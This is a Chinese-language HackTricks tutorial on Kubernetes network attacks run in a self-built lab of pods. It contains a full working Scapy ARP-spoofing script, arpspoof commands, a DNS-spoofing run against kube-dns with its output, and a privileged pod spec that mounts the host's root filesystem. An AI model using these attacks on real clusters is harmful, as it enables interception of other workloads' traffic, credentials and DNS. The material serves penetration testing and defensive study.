Kubernetes Network Attacks

支持HackTricks

简介

在Kubernetes中,观察到默认行为允许同一节点上所有容器之间建立连接。这适用于不考虑命名空间的区别。这种连接性延伸到第2层(以太网)。因此,这种配置可能会使系统暴露于漏洞之中。具体而言,它为恶意容器打开了一个可能执行ARP欺骗攻击的可能性,而这些容器位于同一节点上。在这种攻击中,恶意容器可以欺骗性地拦截或修改为其他容器而设计的网络流量。

ARP欺骗攻击涉及攻击者在本地区域网络上发送伪造的ARP(地址解析协议)消息。这导致攻击者的MAC地址与网络上合法计算机或服务器的IP地址关联起来。在成功执行这种攻击后,攻击者可以拦截、修改甚至停止传输中的数据。这种攻击在OSI模型的第2层执行,这就是为什么Kubernetes在这一层的默认连接性引发安全担忧。

在这种情况下将创建4台机器:

  • ubuntu-pe:特权机器,用于逃逸到节点并检查指标(攻击不需要)

  • ubuntu-attack:默认命名空间中的恶意容器

  • ubuntu-victim:kube-system命名空间中的受害者机器

  • mysql:默认命名空间中的受害者机器

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Kubernetes基础网络

如果您想了解这里介绍的网络主题的更多细节,请参考参考资料。

ARP

一般来说,节点内部的Pod到Pod网络是通过一个连接所有Pod的桥接器实现的。这个桥接器被称为“cbr0”(某些网络插件会安装它们自己的桥接器)。cbr0也可以处理ARP(地址解析协议)解析。当一个传入的数据包到达cbr0时,它可以使用ARP解析目标MAC地址。

这个事实意味着,默认情况下,在同一节点上运行的每个Pod都可以与同一节点中的任何其他Pod(与命名空间无关)进行以太网级别(第2层)的通信

因此,可以在同一节点中的Pod之间执行ARP欺骗攻击

DNS

在Kubernetes环境中,通常会发现运行着1个(或多个)DNS服务,通常位于kube-system命名空间中:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

在先前的信息中,你可以看到一些有趣的内容,服务的IP10.96.0.10,但运行服务的Pod的IP172.17.0.2

如果你检查任何Pod内部的DNS地址,你会发现类似这样的内容:

cat /etc/resolv.conf
nameserver 10.96.0.10

然而,该pod不知道如何到达该地址,因为在这种情况下,pod范围为172.17.0.10/26。

因此,该pod将向地址10.96.0.10发送DNS请求,该地址将由cbr0转换为172.17.0.2。

这意味着pod的DNS请求将始终经过桥接转换服务IP为端点IP,即使DNS服务器位于与pod相同的子网中。

了解到这一点,并且知道ARP攻击是可能的,节点中的pod将能够拦截子网中每个pod桥接之间的流量,并修改来自DNS服务器的DNS响应DNS欺骗)。

此外,如果DNS服务器位于攻击者相同的节点上,攻击者可以拦截集群中任何pod的所有DNS请求(位于DNS服务器和桥接之间)并修改响应。

在相同节点中的pod中进行ARP欺骗

我们的目标是至少窃取从ubuntu-victim到mysql的通信

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS欺骗

正如前面提到的,如果您入侵了与DNS服务器pod相同节点中的一个pod,您可以通过ARP欺骗****桥接和DNS pod进行中间人攻击,并修改所有DNS响应

您可以在https://github.com/danielsagi/kube-dnsspoof/找到一个非常好的工具教程来测试这一点。

在我们的场景中,在攻击者pod中下载这个工具,并创建一个名为hosts的文件,其中包含您想要欺骗域名,如下所示:

cat hosts
google.com. 1.1.1.1

对ubuntu-victim机器执行攻击:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

如果您尝试创建自己的DNS欺骗脚本,仅修改DNS响应不会起作用的,因为响应将具有恶意 pod的IP地址作为源IP,并且将不会接受。 您需要生成一个带有受害者发送DNS请求的DNS的源IP新DNS数据包(类似于172.16.0.2,而不是10.96.0.10,那是K8s DNS服务IP,而不是DNS服务器IP,有关更多信息,请参阅介绍部分)。

捕获流量

工具Mizu是一个简单但功能强大的用于Kubernetes的API 流量查看器,使您能够查看微服务之间的所有API通信,以帮助您调试和排除回归问题。 它将在所选的pod中安装代理并收集其流量信息,并在Web服务器中显示给您。但是,您需要高级K8s权限才能使用此工具(而且不太隐蔽)。

参考资料

支持HackTricks

Last updated